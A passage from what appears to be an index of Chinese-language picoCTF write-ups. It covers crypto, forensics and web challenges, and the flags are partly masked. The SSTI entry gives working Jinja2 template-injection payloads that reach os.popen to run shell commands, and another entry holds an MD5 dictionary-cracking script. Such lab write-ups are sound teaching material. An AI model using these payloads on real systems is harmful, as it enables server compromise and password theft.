style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e hashlib\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etarget_hash \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;482c811da5d5b4bc6d497ffa98491e38\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edict_path \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rockyou.txt\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e open(dict_path, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e line \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        password \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e line\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estrip()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e hashlib\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003emd5(password)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehexdigest() \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e target_hash:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Found: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003epassword\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(errors\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;ignore\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"hashcrack"},{"content":"題目連結 https://learn.cylabacademy.org/library/418\n題目解法 下載檔案後得到一個字串，字串的組成以及結尾的 == 極可能是 base64 編碼。\nYidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclgyMHdNakV5TnpVNGZRPT0nCg== 解碼後得到以下字串\nb\u0026#39;d3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrX20wMjEyNzU4fQ==\u0026#39; 將單引號中的內容再次使用 base64 解碼後得到\nwpjvJAM{jhlzhy_k3jy9wa3k_m0212758} 使用凱撒加密偏移量 19 進行解密即可得到 flag。\npicoCTF{cae-------------------758} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/cryptography/interencdec/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/418\"\u003ehttps://learn.cylabacademy.org/library/418\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載檔案後得到一個字串，字串的組成以及結尾的 \u003ccode\u003e==\u003c/code\u003e 極可能是 base64 編碼。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eYidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclgyMHdNakV5TnpVNGZRPT0nCg==\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e解碼後得到以下字串\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eb\u0026#39;d3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrX20wMjEyNzU4fQ==\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e將單引號中的內容再次使用 base64 解碼後得到\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewpjvJAM{jhlzhy_k3jy9wa3k_m0212758}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用\u003cstrong\u003e凱撒加密\u003c/strong\u003e偏移量 19 進行解密即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{cae-------------------758}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"interencdec"},{"content":"題目連結 https://learn.cylabacademy.org/library/476\n題目解法 啟動網站後查看原始碼可以發現有一個 /api-docs 的頁面。 發現最下面有一個 /heapdump 的 api，按下 Try it out，並按下 Execute，之後將 Response body 下載下來，以文字編輯器打開即可得到 flag。 下載後開啟檔案 heapdump-1777741477740.heapsnapshot： picoCTF{Pat---------------------6ba} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/head-dump/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/476\"\u003ehttps://learn.cylabacademy.org/library/476\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e啟動網站後查看原始碼可以發現有一個 \u003ccode\u003e/api-docs\u003c/code\u003e 的頁面。\n\u003cimg alt=\"原始碼\" loading=\"lazy\" src=\"/posts/web-exploitation/head-dump/sourcescode.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e發現最下面有一個 \u003ccode\u003e/heapdump\u003c/code\u003e 的 api，按下 Try it out，並按下 Execute，之後將 \nResponse body 下載下來，以文字編輯器打開即可得到 flag。\n\u003cimg alt=\"api\" loading=\"lazy\" src=\"/posts/web-exploitation/head-dump/api.webp\"\u003e\n\u003cimg alt=\"execute\" loading=\"lazy\" src=\"/posts/web-exploitation/head-dump/execute.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e下載後開啟檔案 \u003ccode\u003eheapdump-1777741477740.heapsnapshot\u003c/code\u003e：\n\u003cimg alt=\"response body\" loading=\"lazy\" src=\"/posts/web-exploitation/head-dump/responsebody.webp\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{Pat---------------------6ba}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"head-dump"},{"content":"題目連結 https://learn.cylabacademy.org/library/492\n題目解法 題目標題是 SSTI，因此啟動網站後我們嘗試輸入 {{ 7*7 }}，結果顯示 49，表示存在 SSTI 漏洞，且可能是 Python/Jinja2 或 PHP/Twig。\n{{ 7*7 }} 輸入 {{ 7*'7' }} 輸出 7777777 確定是 Python/Jinja2。\n{{ 7*\u0026#39;7\u0026#39; }} 接著我們要嘗試尋找到 os 模組，輸入以下內容可以把目前記憶體中所有從 object 繼承而來的類別全部列出來。會輸出非常多內容，我們要嘗試找到 os._wrap_close，搜尋後發現他是第 132 個（從 0 開始）。\n{{ [].__class__.__base__.__subclasses__() }} 使用以下指令就能夠執行 linux 指令，找到 flag 並讀取它。 用 ls 列出當前目錄下的檔案：\n{{ \u0026#34;\u0026#34;.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[\u0026#39;popen\u0026#39;](\u0026#39;ls\u0026#39;).read() }} 用 cat 讀取 flag：\n{{ \u0026#34;\u0026#34;.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[\u0026#39;popen\u0026#39;](\u0026#39;cat flag\u0026#39;).read() }} picoCTF{s4r-------------------------------------------533} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/492\"\u003ehttps://learn.cylabacademy.org/library/492\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e題目標題是 SSTI，因此啟動網站後我們嘗試輸入 \u003ccode\u003e{{ 7*7 }}\u003c/code\u003e，結果顯示 \u003ccode\u003e49\u003c/code\u003e，表示存在 SSTI 漏洞，且可能是 Python/Jinja2 或 PHP/Twig。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e{{ 7*7 }}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"input 7*7\" loading=\"lazy\" src=\"/posts/web-exploitation/ssti1/pocInput.webp\"\u003e\n\u003cimg alt=\"output 49\" loading=\"lazy\" src=\"/posts/web-exploitation/ssti1/pocOutput.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e輸入 \u003ccode\u003e{{ 7*'7' }}\u003c/code\u003e 輸出 \u003ccode\u003e7777777\u003c/code\u003e 確定是 Python/Jinja2。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e{{ 7*\u0026#39;7\u0026#39; }}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"output 7777777\" loading=\"lazy\" src=\"/posts/web-exploitation/ssti1/pocOutput2.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e接著我們要嘗試尋找到 \u003ccode\u003eos\u003c/code\u003e 模組，輸入以下內容可以把目前記憶體中所有從 object 繼承而來的類別全部列出來。會輸出非常多內容，我們要嘗試找到 \u003ccode\u003eos._wrap_close\u003c/code\u003e，搜尋後發現他是第 132 個（從 0 開始）。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e{{ [].__class__.__base__.__subclasses__() }}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"subclasses output\" loading=\"lazy\" src=\"/posts/web-exploitation/ssti1/subclassesOut.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用以下指令就能夠執行 linux 指令，找到 flag 並讀取它。\n用 \u003ccode\u003els\u003c/code\u003e 列出當前目錄下的檔案：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e{{ \u0026#34;\u0026#34;.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[\u0026#39;popen\u0026#39;](\u0026#39;ls\u0026#39;).read() }}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"ls output\" loading=\"lazy\" src=\"/posts/web-exploitation/ssti1/ls.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e用 \u003ccode\u003ecat\u003c/code\u003e 讀取 \u003ccode\u003eflag\u003c/code\u003e：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e{{ \u0026#34;\u0026#34;.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[\u0026#39;popen\u0026#39;](\u0026#39;cat flag\u0026#39;).read() }}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"cat flag output\" loading=\"lazy\" src=\"/posts/web-exploitation/ssti1/cat.webp\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{s4r-------------------------------------------533}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"SSTI1"},{"content":"題目連結 https://learn.cylabacademy.org/library/427\n題目解法 前往網站後，發現 about 頁面寫著 \u0026ldquo;Try inspecting the page!! You might find it there\u0026rdquo;，使用 Ctrl + U 查看頁面原始碼。 原始碼頁面中有其中一行很可疑，使用 base64 解碼即可得到 flag。\n\u0026lt;section class=\u0026#34;about\u0026#34; notify_true=\u0026#34;cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9\u0026#34;\u0026gt; picoCTF{web---------------------------c79} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/webdecode/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/427\"\u003ehttps://learn.cylabacademy.org/library/427\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e前往網站後，發現 \u003ccode\u003eabout\u003c/code\u003e 頁面寫著 \u0026ldquo;Try inspecting the page!! You might find it there\u0026rdquo;，使用 \u003ccode\u003eCtrl + U\u003c/code\u003e 查看頁面原始碼。\n\u003cimg alt=\"about 頁面\" loading=\"lazy\" src=\"/posts/web-exploitation/webdecode/about.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e原始碼頁面中有其中一行很可疑，使用 base64 解碼即可得到 flag。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026lt;section class=\u0026#34;about\u0026#34; notify_true=\u0026#34;cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9\u0026#34;\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cimg alt=\"頁面原始碼\" loading=\"lazy\" src=\"/posts/web-exploitation/webdecode/code.webp\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{web---------------------------c79}\n\u003c/code\u003e\u003c/pre\u003e","title":"WebDecode"},{"content":"題目連結 https://learn.cylabacademy.org/library/471\n題目解法 使用 nc 連線後不斷 enter，第一次遇到選項選 c，第二次選 a，即可得到 flag。\nwebshell:~$ nc verbal-sleep.picoctf.net 55371 FANTASY CTF SIMULATION The simulation begins in the private room of Eibhilin, a bright, young student. The room is dimly lit, with the glow of her multiple monitors casting an electric blue hue on the walls. Around the room are posters of vintage movies from the MCU — ancient guardians from another age staring down like digital sentinels. --- (Press Enter to continue...) --- Eibhilin stretches back in her chair, adjusting the holo-display of her keyboard. A soft hum of a nearby server fills the air as her AI companion, `Nyx`, comes to life. --- (Press Enter to continue...) --- \u0026#34;Good evening, Ei,\u0026#34; Nyx chirps, \u0026#34;The 3025 edition of picoCTF registration is open. You asked me to remind so you could try out the competition for the first time. Do you wish to proceed?\u0026#34; --- (Press Enter to continue...) --- Outside, the city of Nexalus glimmers under the stars, but Eibhilin\u0026#39;s focus remains entirely on the screen in front of her. --- (Press Enter to continue...) --- \u0026#34;Yes, Nyx. Let\u0026#39;s do it!\u0026#34; --- (Press Enter to continue...) --- Nyx brings up the registration page. Options: A) *Register multiple accounts* B) *Share an account with a friend* C) *Register a single, private account* [a/b/c] \u0026gt; c Nyx nods, \u0026#34;Good choice, Ei. Let\u0026#39;s proceed with a single, private account. It can be tempting to try and do something \u0026#39;clever\u0026#39;, but registering multiple accounts or sharing an account with a friend can lead to disqualification.\u0026#34; --- (Press Enter to continue...) --- \u0026#34;Ok,\u0026#34; Nyx says, \u0026#34;Registering you for the competition... There\u0026#39;s an introductory audio message, piping to your speakers.\u0026#34; --- (Press Enter to continue...) --- \u0026#34;Welcome hacker! You\u0026#39;re about to embark on a journey that will teach you many esoteric and valuable skills. Our mission is to guide you in the right path, that you may use these skills to protect and defend and never for selfish gain or deceit. We hope you enjoy the challenges that our authors have devised this year. Always remember: \u0026#39;With great power, comes great responsibility!\u0026#39;\u0026#34; --- (Press Enter to continue...) --- Nyx continues, \u0026#34;I\u0026#39;ve gleaned from the Ether that in CTF competitions, it\u0026#39;s always good to start with the \u0026#39;sanity\u0026#39; challenge. It should be the challenge worth the least amount of points. I\u0026#39;ll pull it up. You\u0026#39;re looking for something called the flag. You should know it when you see it.\u0026#34; --- (Press Enter to continue...) --- \u0026#34;Oh interesting,\u0026#34; Eibhilin says, \u0026#34;It seems like the sanity challenge is an old school interactive fiction game.\u0026#34; --- (Press Enter to continue...) --- Options: A) *Play the game* B) *Search the Ether for the flag* [a/b] \u0026gt; a \u0026#34;Good choice, Ei,\u0026#34; Nyx says, \u0026#34;You never want to share flags or artifact downloads.\u0026#34; --- (Press Enter to continue...) --- Playing the Game Playing the Game: 100%|██████████████████████████████████████ [time left: 00:00] Playing the Game completed successfully! --- (Press Enter to continue...) --- \u0026#34;That was fun!\u0026#34; Eibhilin exclaims, \u0026#34;I found the flag!\u0026#34; --- (Press Enter to continue...) --- Nyx says, \u0026#34;Great job, Ei! I\u0026#39;ve read that a lot of players create writeups of interesting challenges they solve during the competition. Just be sure to wait to publish them until after the winners have been announced. We can work on that together if you\u0026#39;d like.\u0026#34; --- (Press Enter to continue...) --- \u0026#34;Thanks, Nyx! Here\u0026#39;s the flag I found: picoCTF{m11--------------------7f5}\u0026#34; --- (Press Enter to continue...) --- \u0026#34;Great, you just got 10 points!\u0026#34; Nyx exclaims. --- (Press Enter to continue...) --- Eibhilin smiles, \u0026#34;I\u0026#39;m off to a good start!\u0026#34; --- (Press Enter to continue...) --- ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/fantasy-ctf/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/471\"\u003ehttps://learn.cylabacademy.org/library/471\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e使用 \u003ccode\u003enc\u003c/code\u003e 連線後不斷 \u003ccode\u003eenter\u003c/code\u003e，第一次遇到選項選 \u003ccode\u003ec\u003c/code\u003e，第二次選 \u003ccode\u003ea\u003c/code\u003e，即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ nc verbal-sleep.picoctf.net 55371\nFANTASY CTF SIMULATION\n\nThe simulation begins in the private room of Eibhilin, a bright, young student.\nThe room is dimly lit, with the glow of her multiple monitors casting an\nelectric blue hue on the walls. Around the room are posters of vintage movies\nfrom the MCU — ancient guardians from another age staring down like digital\nsentinels.\n\n---\n(Press Enter to continue...)\n---\n\nEibhilin stretches back in her chair, adjusting the holo-display of her\nkeyboard. A soft hum of a nearby server fills the air as her AI companion,\n`Nyx`, comes to life.\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;Good evening, Ei,\u0026#34; Nyx chirps, \u0026#34;The 3025 edition of picoCTF registration is\nopen. You asked me to remind so you could try out the competition for the first\ntime. Do you wish to proceed?\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\nOutside, the city of Nexalus glimmers under the stars, but Eibhilin\u0026#39;s focus\nremains entirely on the screen in front of her.\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;Yes, Nyx. Let\u0026#39;s do it!\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\nNyx brings up the registration page.\n\nOptions:\nA) *Register multiple accounts*\nB) *Share an account with a friend*\nC) *Register a single, private account*\n[a/b/c] \u0026gt; c\n\nNyx nods, \u0026#34;Good choice, Ei. Let\u0026#39;s proceed with a single, private account. It\ncan be tempting to try and do something \u0026#39;clever\u0026#39;, but registering multiple\naccounts or sharing an account with a friend can lead to disqualification.\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;Ok,\u0026#34; Nyx says, \u0026#34;Registering you for the competition... There\u0026#39;s an introductory\naudio message, piping to your speakers.\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;Welcome hacker! You\u0026#39;re about to embark on a journey that will teach you many\nesoteric and valuable skills. Our mission is to guide you in the right path,\nthat you may use these skills to protect and defend and never for selfish gain\nor deceit. We hope you enjoy the challenges that our authors have devised this\nyear. Always remember: \u0026#39;With great power, comes great responsibility!\u0026#39;\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\nNyx continues, \u0026#34;I\u0026#39;ve gleaned from the Ether that in CTF competitions, it\u0026#39;s\nalways good to start with the \u0026#39;sanity\u0026#39; challenge. It should be the challenge\nworth the least amount of points. I\u0026#39;ll pull it up. You\u0026#39;re looking for something\ncalled the flag. You should know it when you see it.\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;Oh interesting,\u0026#34; Eibhilin says, \u0026#34;It seems like the sanity challenge is an old\nschool interactive fiction game.\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\nOptions:\nA) *Play the game*\nB) *Search the Ether for the flag*\n[a/b] \u0026gt; a\n\n\u0026#34;Good choice, Ei,\u0026#34; Nyx says, \u0026#34;You never want to share flags or artifact\ndownloads.\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\n Playing the Game\nPlaying the Game: 100%|██████████████████████████████████████ [time left: 00:00]\nPlaying the Game completed successfully!\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;That was fun!\u0026#34; Eibhilin exclaims, \u0026#34;I found the flag!\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\nNyx says, \u0026#34;Great job, Ei! I\u0026#39;ve read that a lot of players create writeups of\ninteresting challenges they solve during the competition. Just be sure to wait\nto publish them until after the winners have been announced. We can work on\nthat together if you\u0026#39;d like.\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;Thanks, Nyx! Here\u0026#39;s the flag I found: picoCTF{m11--------------------7f5}\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\n\u0026#34;Great, you just got 10 points!\u0026#34; Nyx exclaims.\n\n---\n(Press Enter to continue...)\n---\n\nEibhilin smiles, \u0026#34;I\u0026#39;m off to a good start!\u0026#34;\n\n---\n(Press Enter to continue...)\n---\n\u003c/code\u003e\u003c/pre\u003e","title":"FANTASY CTF"},{"content":"題目連結 https://learn.cylabacademy.org/library/469\n題目解法 啟動挑戰後隨便輸入一組帳密，之後按下 F12 查看開發者工具的 Appilaction 中的 Cookies。 將 Cookies 的值用 URL decode 加上 base64 解碼後即可得到 flag。 picoCTF{c00-------------------------------ED1} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookie-monster-secret-recipe/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/469\"\u003ehttps://learn.cylabacademy.org/library/469\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e啟動挑戰後隨便輸入一組帳密，之後按下 \u003ccode\u003eF12\u003c/code\u003e 查看開發者工具的 Appilaction 中的 Cookies。\n\u003cimg alt=\"cookies\" loading=\"lazy\" src=\"/posts/web-exploitation/cookie-monster-secret-recipe/cookies.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e將 Cookies 的值用 URL decode 加上 base64 解碼後即可得到 flag。\n\u003cimg alt=\"decode\" loading=\"lazy\" src=\"/posts/web-exploitation/cookie-monster-secret-recipe/cyberchef.webp\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{c00-------------------------------ED1}\n\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Cookie Monster Secret Recipe"},{"content":"題目連結 https://learn.cylabacademy.org/library/460\n題目解法 下載檔案後發現是 .png 檔，使用 strings 指令得到下面這段文字，是一首藏頭詩，內容是 CHECKLSB。\nLSB 指的是 Least Significant Bit，也就是將資料藏在每個像素中最不明顯的一位元，用肉眼無法察覺。\nwebshell:~$ strings red.png IHDR tEXtPoem Crimson heart, vibrant and bold, Hearts flutter at your sight. Evenings glow softly red, Cherries burst with sweet life. Kisses linger with your warmth. Love deep as merlot. Scarlet leaves falling softly, Bold in every stroke.x IDATx IEND 要找到使用 LSB 隱藏的資料，可以使用 zsteg 這個工具。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 webshell:~$ zsteg red.png meta Poem .. text: \u0026#34;Crimson heart, vibrant and bold,\\nHearts flutter at your sight.\\nEvenings glow softly red,\\nCherries burst with sweet life.\\nKisses linger with your warmth.\\nLove deep as merlot.\\nScarlet leaves falling softly,\\nBold in every stroke.\u0026#34; b1,rgba,lsb,xy .. text: \u0026#34;cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==\u0026#34; b1,rgba,msb,xy .. file: OpenPGP Public Key b2,g,lsb,xy .. text: \u0026#34;ET@UETPETUUT@TUUTD@PDUDDDPE\u0026#34; b2,rgb,lsb,xy .. file: OpenPGP Secret Key b2,bgr,msb,xy .. file: OpenPGP Public Key b2,rgba,lsb,xy .. file: OpenPGP Secret Key b2,rgba,msb,xy .. text: \u0026#34;CIkiiiII\u0026#34; b2,abgr,lsb,xy .. file: OpenPGP Secret Key b2,abgr,msb,xy .. text: \u0026#34;iiiaakikk\u0026#34; b3,rgba,msb,xy .. text: \u0026#34;#wb#wp#7p\u0026#34; b3,abgr,msb,xy .. text: \u0026#34;7r\u0026#39;wb#7p\u0026#34; b4,b,lsb,xy .. file: 0421 Alliant compact executable not stripped 可以發現輸出結果中有一段亂碼明顯是使用 base64 編碼後的文字，將其解碼即可得到 flag。\ncGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ== picoCTF{r3d-------------------------------55_} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/red/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/460\"\u003ehttps://learn.cylabacademy.org/library/460\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e下載檔案後發現是 \u003ccode\u003e.png\u003c/code\u003e 檔，使用 \u003ccode\u003estrings\u003c/code\u003e 指令得到下面這段文字，是一首藏頭詩，內容是 CHECKLSB。\u003cbr\u003e\nLSB 指的是 Least Significant Bit，也就是將資料藏在每個像素中最不明顯的一位元，用肉眼無法察覺。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewebshell:~$ strings red.png \nIHDR\ntEXtPoem\nCrimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with 